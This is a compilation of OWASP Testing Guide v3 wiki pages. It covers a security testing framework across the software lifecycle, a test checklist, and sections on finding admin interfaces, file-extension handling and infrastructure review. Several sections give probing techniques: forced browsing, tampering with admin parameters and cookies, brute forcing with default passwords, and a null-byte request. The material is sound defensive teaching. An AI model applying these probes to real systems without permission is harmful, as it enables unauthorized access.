As discussed in the introduction of this document, there are many development methodologies such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.

This testing framework consists of the following activities that should take place:

* Before Development Begins
* During Definition and Design
* During Development
* During Deployment
* Maintenance and Operations

==Phase 1: Before Development Begins==

Before application development has started:

* Test to ensure that there is an adequate SDLC where security is inherent
* Test to ensure that the appropriate policy and standards are in place for the development team
* Develop the metrics and measurement criteria

===Phase 1A: Review Policies and Standards===

Ensure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow.

''People can only do the right thing, if they know what the right thing is.''' '''''

If the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.

===Phase 1B: Develop Measurement and Metrics Criteria (Ensure Traceability)===

Before development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.

==Phase 2: During Definition and Design==

===Phase 2A: Review Security Requirements===

Security requirements define how an application works from a security perspective. It is essential that the security requirements be tested. Testing in this case means testing the assumptions that are made in the requirements, and testing to see if there are gaps in the requirements definitions.

For example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system, or should the user be authenticated? Ensure that requirements are as unambiguous as possible.

When looking for requirements gaps, consider looking at security mechanisms such as:

* User Management (password reset etc.)
* Authentication
* Authorization
* Data Confidentiality
* Integrity
* Accountability
* Session Management
* Transport Security
* Tiered System Segregation
* Privacy

===Phase 2B: Design and Architecture Review===

Applications should have a documented design and architecture. By documented, we mean models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements.

Identifying security flaws in the design phase is not only one of the most cost efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (fixing input validation in one place, rather than in hundreds of places, is far cheaper).

If weaknesses are discovered, they should be given to the system architect for alternative approaches.

===Phase 2C: Create and Review UML Models===

Once the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.

===Phase 2D: Create and Review Threat Models===

Armed with design and architecture reviews, and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.

==Phase 3: During Development==

Theoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or in other cases, issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.

===Phase 3A: Code Walkthroughs===

The security team should perform a code walkthrough with the developers, and in some cases, the system architects. A code walkthrough is a high-level walkthrough of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were.

The purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.

===Phase 3B: Code Reviews===

Armed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects.

Static code reviews validate the code against a set of checklists, including:

* Business requirements for availability, confidentiality, and integrity.
* OWASP Guide or Top 10 Checklists (depending on the depth of the review) for technical exposures.
* Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or Microsoft Secure Coding checklists for ASP.NET.
* Any industry specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO 17799, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.
In terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method, and rely least on the skill of the reviewer, within reason. However, they are not a silver bullet, and need to be considered carefully within a full-spectrum testing regime.

For more details on OWASP checklists, please refer to [[OWASP Guide Project|OWASP Guide for Secure Web Applications]], or the latest edition of the [[OWASP Top 10]].

==Phase 4: During Deployment==

===Phase 4A: Application Penetration Testing===

Having tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully, this is the case, but penetration testing the application after it has been deployed provides a last check to ensure that nothing has been missed.

===Phase 4B: Configuration Management Testing===

The application penetration test should include the checking of how the infrastructure was deployed and secured. While the application may be secure, a small aspect of the configuration could still be at a default install stage and vulnerable to exploitation.

==Phase 5: Maintenance and Operations==

===Phase 5A: Conduct Operational Management Reviews===

There needs to be a process in place which details how the operational side of both the application and infrastructure is managed.

===Phase 5B: Conduct Periodic Health Checks===

Monthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.

===Phase 5C: Ensure Change Verification===

After every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that, as part of the change management process, the change is checked to ensure that the level of security hasn’t been affected by the change.

==A Typical SDLC Testing Workflow==

The following figure shows a typical SDLC Testing Workflow.

[[Image: Typical SDLC Testing Workflow.gif]]

The OWASP Testing Framework

2008-09-10T06:59:01Z

Namn: /* Phase 1A: Policies and Standards Review */

{{Template:OWASP Testing Guide v3}}

==Overview==

This section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework that comprises techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.

This section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing.

It is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. Howard and LeBlanc note in ''Writing Secure Code'' that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s CyberCrime web site (http://www.cybercrime.gov/cccases.html) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.

With economics like this, it is little wonder why software vendors move from solely performing black box security testing, which can only be performed on applications that have already been developed, to concentrate on the early cycles of application development such as definition, design, and development.

Many security practitioners still see security testing in the realm of penetration testing. As discussed before, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing the security at the definition, design, develop, deploy, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built.

As discussed in the introduction of this document, there are many development methodologies such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.

This testing framework consists of the following activities that should take place:

* Before Development Begins
* During Definition and Design
* During Development
* During Deployment
* Maintenance and Operations

==Phase 1: Before Development Begins==

Before application development has started:

* Test to ensure that there is an adequate SDLC where security is inherent
* Test to ensure that the appropriate policy and standards are in place for the development team
* Develop the metrics and measurement criteria

===Phase 1A: Review Policies and Standards===

Ensure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow.

''People can only do the right thing, if they know what the right thing is.''' '''''

If the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.

===Phase 1B: Develop Measurement and Metrics Criteria (Ensure Traceability)===

Before development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.

==Phase 2: During Definition and Design==

===Phase 2A: Security Requirements Review===

Security requirements define how an application works from a security perspective. It is essential that the security requirements be tested. Testing in this case means testing the assumptions that are made in the requirements, and testing to see if there are gaps in the requirements definitions.

For example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system, or should the user be authenticated? Ensure that requirements are as unambiguous as possible.

When looking for requirements gaps, consider looking at security mechanisms such as:

* User Management (password reset etc.)
* Authentication
* Authorization
* Data Confidentiality
* Integrity
* Accountability
* Session Management
* Transport Security
* Tiered System Segregation
* Privacy

===Phase 2B: Design and Architecture Review===

Applications should have a documented design and architecture. By documented, we mean models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements.

Identifying security flaws in the design phase is not only one of the most cost efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (fixing input validation in one place, rather than in hundreds of places, is far cheaper).

If weaknesses are discovered, they should be given to the system architect for alternative approaches.

===Phase 2C: Create and Review UML Models===

Once the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.

===Phase 2D: Create and Review Threat Models===

Armed with design and architecture reviews, and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.

==Phase 3: During Development==

Theoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or in other cases, issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.

===Phase 3A: Code Walkthroughs===

The security team should perform a code walkthrough with the developers, and in some cases, the system architects. A code walkthrough is a high-level walkthrough of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were.

The purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.

===Phase 3B: Code Reviews===

Armed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects.

Static code reviews validate the code against a set of checklists, including:

* Business requirements for availability, confidentiality, and integrity.
* OWASP Guide or Top 10 Checklists (depending on the depth of the review) for technical exposures.
* Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or Microsoft Secure Coding checklists for ASP.NET.
* Any industry specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO 17799, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.
In terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method, and rely least on the skill of the reviewer, within reason. However, they are not a silver bullet, and need to be considered carefully within a full-spectrum testing regime.

For more details on OWASP checklists, please refer to [[OWASP Guide Project|OWASP Guide for Secure Web Applications]], or the latest edition of the [[OWASP Top 10]].

==Phase 4: During Deployment==

===Phase 4A: Application Penetration Testing===

Having tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully, this is the case, but penetration testing the application after it has been deployed provides a last check to ensure that nothing has been missed.

===Phase 4B: Configuration Management Testing===

The application penetration test should include the checking of how the infrastructure was deployed and secured. While the application may be secure, a small aspect of the configuration could still be at a default install stage and vulnerable to exploitation.

==Phase 5: Maintenance and Operations==

===Phase 5A: Conduct Operational Management Reviews===

There needs to be a process in place which details how the operational side of both the application and infrastructure is managed.

===Phase 5B: Conduct Periodic Health Checks===

Monthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.

===Phase 5C: Ensure Change Verification===

After every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that, as part of the change management process, the change is checked to ensure that the level of security hasn’t been affected by the change.

==A Typical SDLC Testing Workflow==

The following figure shows a typical SDLC Testing Workflow.

[[Image: Typical SDLC Testing Workflow.gif]]

Testing Checklist

2008-09-10T06:56:08Z

Namn:

{{Template:OWASP Testing Guide v3}}

The following is the list of controls to test during the assessment:

'''Category - Ref. Number - Test Name - Vulnerability'''

'''Information Gathering ''' 
OWASP-IG-001 - 4.2.1 Spiders, Robots and Crawlers - N.A.

OWASP-IG-002 - 4.2.2 Search Engine Discovery/Reconnaissance - N.A.

OWASP-IG-003 - 4.2.3 Identify application entry points - N.A.

OWASP-IG-004 - 4.2.3 Testing for Web Application Fingerprint - N.A.

OWASP-IG-005 - 4.2.4 Application Discovery - N.A.

OWASP-IG-006 - 4.2.5 Analysis of Error Codes - Information Disclosure

'''Configuration Management Testing '''

OWASP-CM-001 - 4.3.1 SSL/TLS Testing (SSL Version, Alghoritms, Key lenght, Digital Cert. Validity) - SSL Weakness

OWASP-CM-002 - 4.3.2 DB Listener Testing - DB Listener weak

OWASP-CM-003 - 4.3.3 Infrastructure Configuration Management Testing - Infrastructure Configuration management weakness

OWASP-CM-003 - 4.3.4 Application Configuration Management Testing - Application Configuration management weakness

OWASP-CM-005 - 4.3.5 Testing for File Extensions Handling - File extensions handling

OWASP-CM-006 - 4.3.6 Old, backup and unreferenced files - Old, backup and unreferenced files

OWASP-CM-007 - 4.3.7 Infrastructure and Application Admin Interfaces - Access to Admin interfaces

OWASP-CM-008 - 4.3.8 Testing for HTTP Methods and XST - HTTP Methods enabled, XST permitted, HTTP Verb

'''Business logic testing '''

OWASP-BL-001 - 4.4 Testing for Business Logic - Bypassable business logic

'''Authentication Testing '''

OWASP-AT-001 - 4.5.1 Credentials transport over an encrypted channel Credentials transport over an encrypted channel

OWASP-AT-002 - 4.5.2 Testing for user enumeration User enumeration

OWASP-AT-003 - 4.5.3 Testing for Guessable (Dictionary) User Account Guessable user account

OWASP-AT-004 - 4.5.4 Brute Force Testing Brute forcing

OWASP-AT-005 - 4.5.5 Testing for bypassing authentication schema bypassing authentication schema

OWASP-AT-006 - 4.5.6 Testing for vulnerable remember password and pwd reset vulnerable remember password, weak pwd reset

OWASP-AT-007 - 4.5.7 Testing for Logout and Browser Cache Management Testing Logout function not properly implemented, browser
cache weakness

OWASP-AT-008 - 4.5.8 Testing for CAPTCHA Captcha implementation weakeness

OWASP-AT-009 - 4.5.9 Testing Multiple Factors Authentication - Weak Multiple Factors Authentication

'''Authorization Testing '''

OWASP-AZ-001 - 4.6.1 Testing for Path Traversal - Path Traversal

OWASP-AZ-002 - 4.6.2 Testing for bypassing authorization schema - Bypassing authorization schema

OWASP-AZ-003 - 4.6.3 Testing for Privilege Escalation - Privilege Escalation

'''Session Management '''

OWASP-SM-001 - 4.7.1 Testing for Session Management Schema - Bypassing Session Management Schema, Weak Session Token

OWASP-SM-002 - 4.7.2 Testing for Cookies attributes - Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity

OWASP-SM-003 - 4.7.3 Testing for Session Fixation - Session Fixation

OWASP-SM-004 - 4.7.4 Testing for Exposed Session Variables - Exposed sensitive session variables

OWASP-SM-005 - 4.7.5 Testing for CSRF - CSRF

OWASP-SM-006 - 4.7.6 Testing for HTTP Exploit - HTTP Splitting, Smuggling

'''Data Validation Testing '''

OWASP-DV-001 - 4.8.1 Testing for Reflected Cross Site Scripting - Reflected XSS

OWASP-DV-002 - 4.8.2 Testing for Stored Cross Site Scripting - Stored XSS

OWASP-DV-003 - 4.8.3 Testing for DOM based Cross Site Scripting - DOM XSS

OWASP-DV-004 - 4.8.4 Testing for Cross Site Flashing - Cross Site Flashing

OWASP-DV-005 - 4.8.5 SQL Injection - SQL Injection

OWASP-DV-006 - 4.8.6 LDAP Injection - LDAP Injection

OWASP-DV-007 - 4.8.7 ORM Injection - ORM Injection

OWASP-DV-008 - 4.8.8 XML Injection - XML Injection

OWASP-DV-009 - 4.8.9 SSI Injection - SSI Injection

OWASP-DV-010 - 4.8.10 XPath Injection - XPath Injection

OWASP-DV-011 - 4.8.11 IMAP/SMTP Injection - IMAP/SMTP Injection

OWASP-DV-012 - 4.8.12 Code Injection - Code Injection

OWASP-DV-013 - 4.8.13 OS Commanding - OS Commanding

OWASP-DV-014 - 4.8.14 Buffer overflow - Buffer overflow

OWASP-DV-015 - 4.8.15 Incubated vulnerability - Incubated vulnerability

'''Denial of Service Testing '''

OWASP-DS-001 - 4.9.1 Locking Customer Accounts - Locking Customer Accounts

OWASP-DS-002 - 4.9.2 User Specified Object Allocation - User Specified Object Allocation

OWASP-DS-003 - 4.9.3 User Input as a Loop Counter - User Input as a Loop Counter

OWASP-DS-004 - 4.9.4 Writing User Provided Data to Disk - Writing User Provided Data to Disk

OWASP-DS-005 - 4.9.5 Failure to Release Resources - Failure to Release Resources

OWASP-DS-006 - 4.9.6 Storing too Much Data in Session - Storing too Much Data in Session

'''Web Services Testing '''

OWASP-WS-001 - 4.10.1 WS Information Gathering - N.A.

OWASP-WS-002 - 4.10.2 Testing WSDL - WSDL Weakness

OWASP-WS-003 - 4.10.3 XML Structural Testing - Weak XML Structure

OWASP-WS-004 - 4.10.4 XML content-level Testing - XML content-level

OWASP-WS-005 - 4.10.5 HTTP GET parameters/REST Testing - WS HTTP GET parameters/REST

OWASP-WS-006 - 4.10.6 Naughty SOAP attachments - WS Naughty SOAP attachments

OWASP-WS-007 - 4.10.7 Replay Testing - WS Replay Testing

'''Ajax Testing '''

OWASP-AJ-001 - 4.11.1 AJAX Vulnerabilities - N.A.

OWASP-AJ-002 - 4.11.2 How to test AJAX - AJAX weakness

Testing: Introduction and objectives

2008-09-10T06:49:34Z

Namn:

{{Template:OWASP Testing Guide v3}}

This Chapter describes the OWASP Web Application Penetration testing methodology and explains how to test each vulnerability.

'''What is Web Application Penetration Testing?''' 
A penetration test is a method of evaluating the security of a computer system or network by simulating an attack. A Web Application Penetration Test focuses only on evaluating the security of a web application. 
The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner together with an assessment of their impact and often with a proposal for mitigation or a technical solution.

'''What is a vulnerability?''' 

A vulnerability is a flaw or weakness in a system's design, implementation, or operation and management that could be exploited to violate the system's security policy.
A threat is a potential attack that, by exploiting a vulnerability, may harm the assets owned by an application (resources of value, such as the data in a database or in the file system).
A test is an action that tends to show a vulnerability in the application.

'''Our approach in writing this guide'''

The OWASP approach is Open and Collaborative:
* Open: every security expert can participate with his or her experience in the project. Everything is free.
* Collaborative: we usually perform brainstorming before the articles are written so we can share our ideas and develop a collective vision of the project. That means rough consensus, wider audience and participation. 
This approach tends to create a defined Testing Methodology that will be:
* Consistent
* Reproducible
* Under quality control 
The problems that we want to be addressed are:
* Document all
* Test all
We think it is important to use a method to test all known vulnerabilities and document all the pen test activities. 

'''What is the OWASP testing methodology?''' 

Penetration testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. Indeed, penetration testing is only an appropriate technique for testing the security of web applications under certain circumstances.
The goal is to collect all the possible testing techniques, explain them and keep the guide updated. 
The OWASP Web Application Penetration Testing method is based on the black box approach. The tester knows nothing or very little information about the application to be tested.
The testing model consists of:
* Tester: Who performs the testing activities
* Tools and methodology: The core of this Testing Guide project
* Application: The black box to test
The test is divided into 2 phases:
* Passive mode: in the passive mode, the tester tries to understand the application's logic, plays with the application. Tools can be used for information gathering, for example, an HTTP proxy to observe all the HTTP requests and responses. At the end of this phase, the tester should understand all the access points (''gates'') of the application (e.g., HTTP headers, parameters, and cookies). For example, the tester could find the following:
<pre>
https://www.example.com/login/Authentic_Form.html
</pre>
This may indicate an authentication form in which the application requests a username and a password. 
The following parameters represent two access points (gates) to the application:
<pre>
http://www.example.com/Appx.jsp?a=1&b=1
</pre>
In this case, the application shows two gates (parameters a and b).
All the gates found in this phase represent a point of testing. A spreadsheet with the directory tree of the application and all the access points would be useful for the second phase. 
* Active mode: in this phase, the tester begins to test using the methodology described in the follow paragraphs.

We have split the set of tests in 11 sub-categories:
* Information Gathering
* Configuration Management Testing
* Business Logic Testing
* Authentication Testing
* Authorization testing
* Session Management Testing
* Data Validation Testing
* Denial of Service Testing
* Web Services Testing
* Ajax Testing

The following paragraphs describe the set of checklists that compose the methodology.

Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)

2008-09-10T06:24:51Z

Namn: /* Black Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
Administrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.
 

== Description of the Issue ==
 
An application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:

- user account provisioning 
- Site design and layout 
- data manipultion 
- configuration changes 

In many instances, such interfaces are usually implemented with little thought of how to separate them from the normal users of the site. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users.
 

== Black Box testing and example ==
The following describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used for testing for related issues including privilege escalation and are described elsewhere in this guide in greater detail: 

* Directory and file Enumeration - An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting:
/admin or /administrator etc.. 
A tester may have to also identify the filename of the administration page. Forcibly browsing to the identified page may provide access to the interface.

* Comments and links in Source - Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.

* Reviewing Server and Application Documentation - If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.

* Alternative Server Port - Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat's Administration interface can often be seen on port 8080.

* Parameter Tampering - A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this
include the presence of hidden fields such as:

<input type="hidden" name="admin" value="no">

or in a cookie:

Cookie: session_cookie; useradmin=0

Once an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present.

== Gray Box testing and example ==
A more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.
 
Source code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality.
 

== References ==
* Default Password list: http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php

Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)

2008-09-10T05:48:33Z

Namn: /* Brief Summary */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==

File extensions are commonly used in web servers to easily determine which technologies / languages / plugins must be used to fulfill the web request. 
While this behavior is consistent with RFCs and Web Standards, using standard file extensions provides the pentester useful information about the underlying technologies used in a web appliance and greatly simplifies the task of determining the attack scenario to be used on particular technologies. 
In addition to this, misconfiguration in web servers could easily reveal confidential information about access credentials.

==Description of the Issue==

Determining how web servers handle requests corresponding to files having different extensions may help to understand web server behaviour depending on the kind of files we try to access. For example, it can help understand which file extensions are returned as text/plain versus those which cause execution on the server side. The latter are indicative of technologies / languages / plugins which are used by web servers or application servers, and may provide additional insight on how the web application is engineered. For example, a “.pl” extension is usually associated with server-side Perl support (though the file extension alone may be deceptive and not fully conclusive; for example, Perl server-side resources might be renamed to conceal the fact that they are indeed Perl related). See also next section on “web server components” for more on identifying server side technologies and components.

==Black Box testing and example==

Submit http[s] requests involving different file extensions and verify how they are handled. These verifications should be on a per web directory basis. 
Verify directories which allow script execution. Web server directories can be identified by vulnerability scanners, which look for the presence of well-known directories. In addition, mirroring the web site structure allows to reconstruct the tree of web directories served by the application. 
In case the web application architecture is load-balanced, it is important to assess all of the web servers. This may or may not be easy depending on the configuration of the balancing infrastructure. In an infrastructure with redundant components there may be slight variations in the configuration of individual web / application servers; this may happen for example if the web architecture employs heterogeneous technologies (think of a set of IIS and Apache web servers in a load-balancing configuration, which may introduce slight asymmetric behaviour between themselves, and possibly different vulnerabilities). 
'''Example:''' 
We have identified the existence of a file named connection.inc. Trying to access it directly gives back its contents, which are:

<pre>
<?
mysql_connect("127.0.0.1", "root", "")
or die("Could not connect");

?>
</pre>

We determine the existence of a MySQL DBMS back end, and the (weak) credentials used by the web application to access it. This example (which occurred in a real assessment) shows how dangerous can be the access to some kind of files. 
The following file extensions should NEVER be returned by a web server, since they are related to files which may contain sensitive information, or to files for which there is no reason to be served. 
* .asa
* .inc
 
The following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information. 
* .zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files
* .java: No reason to provide access to Java source files
* .txt: Text files
* .pdf: PDF documents
* .doc, .rtf, .xls, .ppt, ...: Office documents
* .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)
 
The list given above details only a few examples, since file extensions are too many to be comprehensively treated here. Refer to http://filext.com/ for a more thorough database of extensions. 
 
To sum it up, in order to identify files having a given extensions, a mix of techniques can be employed, including: Vulnerability Scanners, spidering and mirroring tools, manually inspecting the application (this overcomes limitations in automatic spidering), querying search engines (see [[Spidering and googling AoC]]). See also [[Old file testing AoC]] which deals with the security issues related to "forgotten" files.

==Gray Box testing and example==

Performing white box testing against file extensions handling amounts at checking the configurations of web server(s) / application server(s) taking part in the web application architecture, and verifying how they are instructed to serve different file extensions.
If the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behaviour.

==References==

'''Tools''' 

Vulnerability scanners, such as Nessus and Nikto check for the existence of well-known web directories. They may allow as well to download the web site structure, which is helpful when trying to determine the configuration of web directories and how individual file extensions are served. Other tools that can be used for this purpose include:
* wget - http://www.gnu.org/software/wget
* curl - http://curl.haxx.se
* google for “web mirroring tools”.

Test Network/Infrastructure Configuration (OTG-CONFIG-001)

2008-09-10T04:22:30Z

Namn: /* Review of the application architecture */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can count hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application.
In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and (almost) unimportant problems may evolve into severe risks for another application on the same server.
In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues.

== Description of the Issue ==

Proper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.

For example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.

In order to test the configuration management infrastructure, the following steps need to be taken:

* The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.
* All the elements of the infrastructure need to be reviewed in order to make sure that they don’t hold any known vulnerabilities.
* A review needs to be made of the administrative tools used to maintain all the different elements.
* The authentication systems, if any, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.
* A list of defined ports which are required for the application should be maintained and kept under change control.

== Black Box Testing and examples==

===Review of the application architecture===

The application architecture needs to be reviewed through the test to determine what different components are used to build the web application. In small setups, such as a simple CGI-based application, a single server might be used that runs the web server which executes the C, Perl, or Shell CGIs application, and perhaps authentication is also based on the web server authentication mechanisms. On more complex setups, such as an online bank system, multiple servers might be involved including: a reverse proxy, a front-end web server, an application server and a database server or LDAP server. Each of these servers will be used for different purposes and might be even be divided in different networks with firewalling devices between them, creating different DMZs so that access to the web server will not grant a remote user access to the authentication mechanism itself, and so that compromises of the different elements of the architecture can be isolated in a way such that they will not compromise the whole architecture.

Getting knowledge of the application architecture can be easy if this information is provided to the testing team by the application developers in document form or through interviews, but can also prove to be very difficult if doing a blind penetration test.

In the latter case, a tester will first start with the assumption that there is a simple setup (a single server) and will, through the information retrieved from other tests, derive the different elements and question this assumption that the architecture will be extended. The tester will start by asking simple questions such as: “Is there a firewalling system protecting the web server?” which will be answered based on the results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered in the network edge (no answer or ICMP unreachables are received) or if the server is directly connected to the Internet (i.e. returns RST packets for all non-listening ports). This analysis can be enhanced in order to determine the type of firewall system used based on network packet tests: is it a stateful firewall or is it an access list filter on a router? How is it configured? Can it be bypassed?

Detecting a reverse proxy in front of the web server needs to be done by the analysis of the web server banner, which might directly disclose the existence of a reverse proxy (for example, if ‘WebSEAL’[1] is returned). It can also be determined by obtaining the answers given by the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as “intrusion prevention systems” (or web-shields) by blocking known attacks targeted at the web server. If the web server is known to answer with a 404 message to a request which targets an unavailable page and returns a different error message for some common web attacks like those done by CGI scanners it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web server returns a set of available HTTP methods (including TRACE) but the expected methods return errors then there is probably something in between, blocking them. In some cases, even the protection system gives itself away:

<pre>
GET /web-console/ServerInfo.jsp%00 HTTP/1.0

HTTP/1.0 200
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 83

<TITLE>Error</TITLE>
<BODY>
<H1>Error</H1>
FW-1 at XXXXXX: Access denied.</BODY>
</pre>

'''Example of the security server of Check Point Firewall-1 NG AI “protecting” a web server'''

Reverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these proxies can be done based, again, on the server header or by timing requests that should be cached by the server and comparing the time taken to server the first request with subsequent requests.

